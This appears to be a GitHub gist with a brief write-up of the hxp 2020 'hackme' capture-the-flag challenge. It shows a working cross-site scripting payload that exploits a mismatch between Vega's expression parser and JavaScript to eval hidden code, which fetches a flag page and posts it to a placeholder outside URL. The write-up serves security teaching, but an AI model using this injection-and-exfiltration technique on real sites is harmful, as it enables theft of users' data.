Created
December 20, 2020 16:05
-
-
Save cgvwzq/0392d64fe1aed82f65c1648b71df1a37 to your computer and use it in GitHub Desktop.
Writeup hxp2020 hackme
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Pwn! | |
```vega | |
{ | |
"data": { | |
"values": [{}] | |
}, | |
"transform": [ | |
{"filter": "(0//1/)-'\\\n,eval(payload.dataset.x))))//'"} | |
], | |
"mark": "bar" | |
} | |
``` | |
<div id=payload data-x="x:fetch('/s/the-flag').then(_=>_.text()).then(_=>fetch('http://URL/,{method: 'post', withCredentials: false, mode: 'no-cors', body:_}))"></div> | |
Vega's expression parser divides 0 by a regexp, while JS sees a comment. We exploit the mismatch to XSS when the parsed expression is `eval`ed. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment